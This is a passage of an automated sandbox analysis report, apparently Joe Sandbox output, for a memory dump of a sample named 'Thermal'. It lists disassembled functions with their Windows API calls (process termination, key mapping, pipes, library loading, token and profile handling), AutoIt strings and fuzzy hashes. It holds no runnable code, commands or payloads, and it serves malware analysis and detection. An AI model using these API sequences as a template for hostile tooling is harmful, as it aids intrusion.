API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: f7d8a71095b4e7f7ca6a6bb1156e02c1ca61ce77b6dfa6452aaea77283233e93
Instruction ID: b3de5dba4eb7f898dfbb9d34a0a7a202b814d7a354959715342fa4162fa9df8c
Opcode Fuzzy Hash: f7d8a71095b4e7f7ca6a6bb1156e02c1ca61ce77b6dfa6452aaea77283233e93
Instruction Fuzzy Hash: 5A11597250124EABDF029F94ED49FDE7BB9EF08354F048154FE09A2160C7729DA4EB60

Function 0017C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0017C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 0017C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0017C366
ReleaseDC.USER32(00000000,00000000), ref: 0017C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0017C385
MulDiv.KERNEL32(000009EC,?,?), ref: 0017C397

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: aab1b65de5b082a7f3a9ef5d95462f0822330f489700bd8af52535c06d320a75
Instruction ID: 6315c24acd6b034a13db7bfa7e5dc7875fdbf00776120c5ebd48aa64fa776e37
Opcode Fuzzy Hash: aab1b65de5b082a7f3a9ef5d95462f0822330f489700bd8af52535c06d320a75
Instruction Fuzzy Hash: C3014475E00318BBEF119BA59C49A5FBFB8EB48751F008165FE08A7280D7709D10CFA0

Function 001AC552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 001216CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00121729
Part of subcall function 001216CF: SelectObject.GDI32(?,00000000), ref: 00121738
Part of subcall function 001216CF: BeginPath.GDI32(?), ref: 0012174F
Part of subcall function 001216CF: SelectObject.GDI32(?,00000000), ref: 00121778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 001AC57C
LineTo.GDI32(00000000,00000003,?), ref: 001AC590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 001AC59E
LineTo.GDI32(00000000,00000000,?), ref: 001AC5AE
EndPath.GDI32(00000000), ref: 001AC5BE
StrokePath.GDI32(00000000), ref: 001AC5CE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1b6142aa5ce565a11562c044eb44dc58767a5ca59497ec252362c5157e78935f
Instruction ID: 42f060856d9320bb9e248fb2cae37899d1ce8d7545f9654cf7c3cdea1f3625b8
Opcode Fuzzy Hash: 1b6142aa5ce565a11562c044eb44dc58767a5ca59497ec252362c5157e78935f
Instruction Fuzzy Hash: 36111E7640414CBFEF129F94DC88FAA7F6DEB08354F048111B9185A560D771AD95DBA0

Function 001407BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 001407EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 001407F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 001407FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 0014080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00140812
MapVirtualKeyW.USER32(00000012,00000000), ref: 0014081A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 8f31ad519c48f2885c08edf1f8c6867284aa56234af1aea861bafca8e34ee011
Instruction ID: 1324ce775275a578d8b6b3d8ecec4f846969088c4caccddd3d4782d7b5753cf5
Opcode Fuzzy Hash: 8f31ad519c48f2885c08edf1f8c6867284aa56234af1aea861bafca8e34ee011
Instruction Fuzzy Hash: CC016CB09017597DE3008F5A8C85B53FFA8FF59354F00411BA15C47941C7F5A864CBE5

Function 001859A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 001859B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 001859CA
GetWindowThreadProcessId.USER32(?,?), ref: 001859D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001859E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001859F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 001859F9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: b566e0f406fe27c4cb0fea5b2fad564f00d90499fd464b24f04423f7a5539407
Instruction ID: 38d96acd1edccd4458627281b8f44b460d6c0e48af4573aad247c983d4d1eeb9
Opcode Fuzzy Hash: b566e0f406fe27c4cb0fea5b2fad564f00d90499fd464b24f04423f7a5539407
Instruction Fuzzy Hash: 59F06D32640158BBE3225B929C0DEEF7B7CEBCAB11F000259FA0091450E7A05A5186B5

Function 001877EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 001877FE
EnterCriticalSection.KERNEL32(?,?,0012C2B6,?,?), ref: 0018780F
TerminateThread.KERNEL32(00000000,000001F6,?,0012C2B6,?,?), ref: 0018781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,0012C2B6,?,?), ref: 00187829

Part of subcall function 001871F0: CloseHandle.KERNEL32(00000000,?,00187836,?,0012C2B6,?,?), ref: 001871FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 0018783C
LeaveCriticalSection.KERNEL32(?,?,0012C2B6,?,?), ref: 00187843

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 0868a82e1fbd8bdecca6f0312f85f1b21abd7d9313000f8d773dfc03bd666fab
Instruction ID: 90ccf2e15a1075f6a7713a061940413e1fa6b9e6167db4778857695385ee2ffe
Opcode Fuzzy Hash: 0868a82e1fbd8bdecca6f0312f85f1b21abd7d9313000f8d773dfc03bd666fab
Instruction Fuzzy Hash: B0F08C32145212AFD7162B64EC8CAEB7779FF4D742F240665F203A58A0CBB59985CF60

Function 0017954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00179555
UnloadUserProfile.USERENV(?,?), ref: 00179561
CloseHandle.KERNEL32(?), ref: 0017956A
CloseHandle.KERNEL32(?), ref: 00179572
GetProcessHeap.KERNEL32(00000000,?), ref: 0017957B
HeapFree.KERNEL32(00000000), ref: 00179582

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 3575d664770a2b9ad86d2f72e0f2f23583e9f585fba6bd3be0d4eace04864c0d
Instruction ID: 2be2156043f142780d1c90b64a54a32e6fe75f55be196f7869afbdf88631aa58
Opcode Fuzzy Hash: 3575d664770a2b9ad86d2f72e0f2f23583e9f585fba6bd3be0d4eace04864c0d
Instruction Fuzzy Hash: 23E05276104545BFDA421BE5EC0C95ABB69FB4D722B504721F21591870CB32A4A1DB50

Function 00198CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00198CFD
CharUpperBuffW.USER32(?,?), ref: 00198E0C
VariantClear.OLEAUT32(?), ref: 00198F84

Part of subcall function 00187B1D: VariantInit.OLEAUT32(00000000), ref: 00187B5D
Part of subcall function 00187B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00187B66
Part of subcall function 00187B1D: VariantClear.OLEAUT32(00000000), ref: 00187B72

Strings

AUTOIT.ERROR, xrefs: 00198E12
Incorrect Parameter format, xrefs: 00198D35, 00198EF7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 4d1605d2720531d8f62bd1cc456169370e2e145886a56ab059ca7e99fb2e7861
Instruction ID: 82319bb23b1e72bc6b405109e837f0d46a9350131b5fac61f3b226e1edb2cac8
Opcode Fuzzy Hash: 4d1605d2720531d8f62bd1cc456169370e2e145886a56ab059ca7e99fb2e7861
Instruction Fuzzy Hash: 06917D756083019FCB14DF24C48095BBBF5EF9A754F14896EF88A8B3A1DB30E945CB92

Function 0018323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013436A: _wcscpy.LIBCMT ref: 0013438D

_memset.LIBCMT ref: 0018332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0018335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00183410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0018343E

Strings

0, xrefs: 0018331A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 854911f49e80bbc66cff2d71c428f06325f229233327edd77d4b3e4f6eb656bc
Instruction ID: 6d8d2de7a12aac3b53d0484e448183069ec44e890ca8f70ee93a984c399b2a86
Opcode Fuzzy Hash: 854911f49e80bbc66cff2d71c428f06325f229233327edd77d4b3e4f6eb656bc
Instruction Fuzzy Hash: FC51AE316083019BD726AF28D845A6BB7E8AF55B20F080A2DF8A5D31E1DB70DF44CF52

Function 00182EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00182F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00182F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00182FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,001E7890,00000000), ref: 00183012

Strings

0, xrefs: 00182F5C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 9de79fefe37535a6cc57947df539e541b1093f2eb0c7917c0285b59aa9f898d1
Instruction ID: dba93de1824fda8770e86d34d90f3bd64fbf820ebecf04f80f4a7f9d0198b24b
Opcode Fuzzy Hash: 9de79fefe37535a6cc57947df539e541b1093f2eb0c7917c0285b59aa9f898d1
Instruction Fuzzy Hash: 6F41AF312043419FD725EF24C884F5BBBE8AF98714F144A2EF9A597291DB70EA05CF62

Function 00179A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00179ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00179ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00179B0F

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Strings

ComboBox, xrefs: 00179A56
ListBox, xrefs: 00179A8B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 91ee4c862c0a07182ee2649dd14f37868f1095f2d10de9eb9853e0d55687572a
Instruction ID: 893adb32c946eeac7c1d7900b9e60f994479ae189f19a3aaa26893f306ae3560
Opcode Fuzzy Hash: 91ee4c862c0a07182ee2649dd14f37868f1095f2d10de9eb9853e0d55687572a
Instruction Fuzzy Hash: F921F371901104BEDB18EBA0DC86DFFB778DF65360F10821AF829972E1DB3449499660

Function 001A6A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00122111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0012214F
Part of subcall function 00122111: GetStockObject.GDI32(00000011), ref: 00122163
Part of subcall function 00122111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0012216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 001A6A86
LoadLibraryW.KERNEL32(?), ref: 001A6A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 001A6AA2
DestroyWindow.USER32(?), ref: 001A6AAA

Strings

SysAnimate32, xrefs: 001A6A61

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 5d922862ff67eae1dc6b1ccc24563a45ff657745e46c4078b93ec12b4ece5263
Instruction ID: 69a521a4e818c73eb7c8c203f4a508e879294f8145d2beb415802a55c508cda7
Opcode Fuzzy Hash: 5d922862ff67eae1dc6b1ccc24563a45ff657745e46c4078b93ec12b4ece5263
Instruction Fuzzy Hash: 9321C079200205AFEF108FA4DC80EBB77ADEF5A364F188A19FA51A31D0D371DC919760

Function 00187357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00187377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 001873AA
GetStdHandle.KERNEL32(0000000C), ref: 001873BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 001873F6

Strings

nul, xrefs: 001873F1

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 44a23ee51a714dc1dc6825f48a8dbcbc83200de026db9b2ae41bf7738732010f
Instruction ID: 04f02c9f1ffe8bf7680dd64d278e7db513ad1be795d804f121f93d472cc15692
Opcode Fuzzy Hash: 44a23ee51a714dc1dc6825f48a8dbcbc83200de026db9b2ae41bf7738732010f
Instruction Fuzzy Hash: 4721907050830AABDB20AF68DC45A9A7BA4BF54720F304A19FCA1D72E0D770DA50DF51

Function 00187425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00187444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00187476
GetStdHandle.KERNEL32(000000F6), ref: 00187487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 001874C1

Strings

nul, xrefs: 001874BC

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: b14e344e189fe8b17dfde253fd65e431ed2f56e730f87d797add3fa2a4e54797
Instruction ID: a8f0ea77e0e19b487ee3b501d0b6b7c126a6b8d6475a53f0eb565e87fc469deb
Opcode Fuzzy Hash: b14e344e189fe8b17dfde253fd65e431ed2f56e730f87d797add3fa2a4e54797
Instruction Fuzzy Hash: 3321A1316083069BDB20AF689C48A9ABBA8AF55730F300B19F9B1D72D0DB70DA54CF50

Function 0018B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0018B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0018B2EB
__swprintf.LIBCMT ref: 0018B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,001B0980), ref: 0018B342

Strings

%lu, xrefs: 0018B2FE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: e6103f90f455730b69c347eba7f09b426e4022185f39217cf7ef99a6cf0d8e3f
Instruction ID: 233244721ae741bdd83ec03ad2e8e644a40d9f50176b178caac2ebd8cbfc82c1
Opcode Fuzzy Hash: e6103f90f455730b69c347eba7f09b426e4022185f39217cf7ef99a6cf0d8e3f
Instruction Fuzzy Hash: 42214434600209AFCB10EFA5D985DAEB7B8EF89704B104069F905D7351DB31EA45CB61

Function 0017AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Part of subcall function 0017AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0017AA6F
Part of subcall function 0017AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 0017AA82
Part of subcall function 0017AA52: GetCurrentThreadId.KERNEL32 ref: 0017AA89
Part of subcall function 0017AA52: AttachThreadInput.USER32(00000000), ref: 0017AA90

GetFocus.USER32 ref: 0017AC2A

Part of subcall function 0017AA9B: GetParent.USER32(?), ref: 0017AAA9

GetClassNameW.USER32(?,?,00000100), ref: 0017AC73
EnumChildWindows.USER32(?,0017ACEB), ref: 0017AC9B
__swprintf.LIBCMT ref: 0017ACB5

Strings

%s%d, xrefs: 0017ACAF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 1914a15a85307bc8001b70ab1709c215bd9dee7992b3a655eebd9ff42491bc8c
Instruction ID: 17d8fa4186795974f926e90ee0d680231921346cd1124c27d60294a26e197a55
Opcode Fuzzy Hash: 1914a15a85307bc8001b70ab1709c215bd9dee7992b3a655eebd9ff42491bc8c
Instruction Fuzzy Hash: A4119D75600205BBDF12AFA08D85FEE777CAF98710F1080A5FE0CAA142DB7099459B75

Function 001822E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00182318

Strings

REMOVE, xrefs: 0018231E
APPEND, xrefs: 00182351
KEYS, xrefs: 0018232F
EXISTS, xrefs: 00182340

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

